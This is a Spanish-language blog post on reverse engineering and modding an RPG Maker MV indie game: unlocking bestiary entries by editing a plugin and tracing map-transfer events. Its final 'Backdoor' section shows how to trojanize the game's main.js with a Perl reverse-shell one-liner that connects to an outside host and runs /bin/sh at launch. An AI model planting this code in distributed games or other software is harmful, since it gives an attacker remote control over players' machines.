RE: Violet And The Lost Colors

Estaba jugando este juego indie que encontré en itch.io. Le dediqué un par de horas, lo completé y sin embargo vi que me faltaban unas dos entradas del bestiario. Curioso, porque estaba casi seguro de que lo había terminado al 100%.

Soy una especie de adicto a tener este tipo de “compendios” o “wikis” internas de los juegos enteramente desbloqueados. Esto sumado al hecho de que nunca había crackeado algo hecho con RPGMaker me motivó a hacer este análisis.

Índice

Introducción

El juego fue hecho con RPG Maker MV/MZ. Podemos saberlo por el directorio www y www/js/plugins. RPG Maker MV/MZ está basado en Javascript y utiliza un framework llamado PixiJS para los gráficos. Lo mejor de todo es que el código fuente es accesible y editable directamente en el directorio /www. Podemos ejecutar el juego en un navegador abriendo /www/index.html. Debe usarse un servidor local para evitar problemas de CORS.

Herramientas

Es suficiente con un editor de texto y un servidor http para ejecutar el juego en el navegador en caso de que se quiera depurar. En mi caso usé el que trae el intérprete de Python por defecto. Basta con ir al directorio /www, ejecutar python3 -m http.server, abrir el navegador e ir a http://localhost:8000.

Bestiario

Estuve un rato explorando /www/js para entender superficialmente la lógica del juego y lo más relevante que encontré fue esto:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// rpg_managers.js
DataManager.createGameObjects = function() {
$gameTemp = new Game_Temp();
$gameSystem = new Game_System();
$gameScreen = new Game_Screen();
$gameTimer = new Game_Timer();
$gameMessage = new Game_Message();
$gameSwitches = new Game_Switches();
$gameVariables = new Game_Variables();
$gameSelfSwitches = new Game_SelfSwitches();
$gameActors = new Game_Actors();
$gameParty = new Game_Party();
$gameTroop = new Game_Troop();
$gameMap = new Game_Map();
$gamePlayer = new Game_Player();
};

DataManager.setupNewGame = function() {
this.createGameObjects();
this.selectSavefileForNewGame();
$gameParty.setupStartingMembers();
$gamePlayer.reserveTransfer($dataSystem.startMapId,
$dataSystem.startX, $dataSystem.startY);
Graphics.frameCount = 0;
};

Aquí se inicializan variables para un nuevo juego, $gameSystem tiene alguna relación con el manejo de los enemigos pero probando algunas cosas no cambió las entradas del diario. No obstante, siguiendo a createGameObjects vemos que se inicializa una variable $beastBook:

1
2
3
4
5
// plugins/STV_BeastBook.js
DataManager.createGameObjects = function() {
STV_BeastBook_Create.call(this);
$beastBook = new Beast_Book();
};

El archivo contiene una sección comentada que explica los parámetros. Existen los métodos completeBeasts(), completeItems() y completeKills() que establecen los campos discovered,discoveredItems a true y el campo kill a maxKills respectivamente. Lo modificamos y bum!, tendremos toda la información disponible en una nueva partida:

1
2
3
4
5
6
7
  DataManager.createGameObjects = function() {
STV_BeastBook_Create.call(this);
$beastBook = new Beast_Book();
$beastBook.completeBeasts();
$beastBook.completeKills();
$beastBook.completeBeasts();
};

Al final el diario queda así, parece ser un error del plugin o del manejo del mismo por parte del autor. En fin, fue divertido de todas formas.

Mods

Ya que estaba en eso, también me interesé en ver como podría agregar una zona nueva al juego.

1
2
3
4
5
6
7
8
9
10
// source: rpg_managers.js
DataManager.loadMapData = function(mapId) {
if (mapId > 0) {
var filename = 'Map%1.json'.format(mapId.padZero(3));
this._mapLoader = ResourceHandler.createLoader('data/' + filename, this.loadDataFile.bind(this, '$dataMap', filename));
this.loadDataFile('$dataMap', filename);
} else {
this.makeEmptyMap();
}
};

Según estuve leyendo para pasar de un mapa al otro se hace por medio de un evento de la celda actual, el flujo es algo así:

1
2
3
4
5
6
Game_Player.updateNonmoving
→ checkEventTriggerHere
→ Game_Event.start()
→ Game_Interpreter.command201 // event TransferPlayer
→ Game_Player.reserveTransfer
→ Scene_Map.create → DataManager.loadMapData

Busqué el evento en la celda en la que nos encontramos para pasar del mapa data/Map003.json a data/Map001.json

jq '.events[]' ../data/Map003.json | grep -C 100 '"x": 0' | grep -C 100 '"y": 15'

1
2
3
4
5
6
7
8
9
10
11
12
13
"list": [
{
"code": 201,
"indent": 0,
"parameters": [
0, // Direct designation
1, // new MapId
21, // new x
16, // new y
4, // direction (left, like a numpad)
0 // fadeType (black transition)
]
},

Estos métodos aclaran el funcionamiento del evento:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// source: plugins/SRD_GameOverCore.js
_.specialCommand201 = function() {
if (!$gameMessage.isBusy()) {
SceneManager.goto(Scene_Map);
var mapId, x, y;
if (this._params[0] === 0) { // Direct designation
mapId = this._params[1];
x = this._params[2];
y = this._params[3];
} else { // Designation with variables
mapId = $gameVariables.value(this._params[1]);
x = $gameVariables.value(this._params[2]);
y = $gameVariables.value(this._params[3]);
}
$gamePlayer.reserveTransfer(mapId, x, y, this._params[4], this._params[5]);
this.setWaitMode('transfer');
this._index++;
}
return false;

// source: rpg_objects.js
Game_Player.prototype.reserveTransfer = function(mapId, x, y, d, fadeType) {
this._transferring = true;
this._newMapId = mapId;
this._newX = x;
this._newY = y;
this._newDirection = d;
this._fadeType = fadeType;
};

Al final me dio pereza hacerlo a mano. Un método más sencillo es crear un proyecto nuevo en RPGMakerMV y reemplazar el código del juego del proyecto con el del juego que queremos modear y ya. Todo se hace por botones. La interfaz es intuitiva, es fácil cambiar y agregar cosas nuevas. Hay assets gratis en Internet.

Backdoor

Esto es solo por motivos de aprendizaje y no me hago responsable de su uso inadecuado.

Estos proyectos de RPGMakerMV usan NW.js (básicamente un framework que contiene un navegador Chromium embebido) como motor de javascript. Game.exe y las DLLs en el directorio raíz se encargan de ejecutar. Este programa ejecuta todo código en /www/js. Por ejemplo /www/js/main.js:

1
2
3
4
5
6
7
8
9
//=============================================================================
// main.js
//=============================================================================

PluginManager.setup($plugins);

window.onload = function() {
SceneManager.run(Scene_Boot);
};

Segun este post se puede añadir código para crear una reverse shell remota así de fácil:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var nwGui = require('nw.gui')
, child_process = require('child_process')
, exec = child_process.exec

exec("perl -e 'use Socket;$i=\"192.168.1.109\";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh\");};'")

//=============================================================================
// main.js
//=============================================================================

PluginManager.setup($plugins);

window.onload = function() {
SceneManager.run(Scene_Boot);
};

Usé perl porque estaba en Linux, en Windows debería reemplazarse por un script de powershell.

Conclusiones

Sé que es un análisis corto pero quería escribir un artículo sobre algo nuevo que aprendí durante el proceso. Con esto ya he cubierto tanto juegos Flash (véase RE: Kingdom Rush Frontiers) como de RPGMaker MV. Planeo escribir más hasta cubrir una buena cantidad de técnicas conocidas de como revertir juegos creados con diferentes motores.

Eso es todo.

Enlaces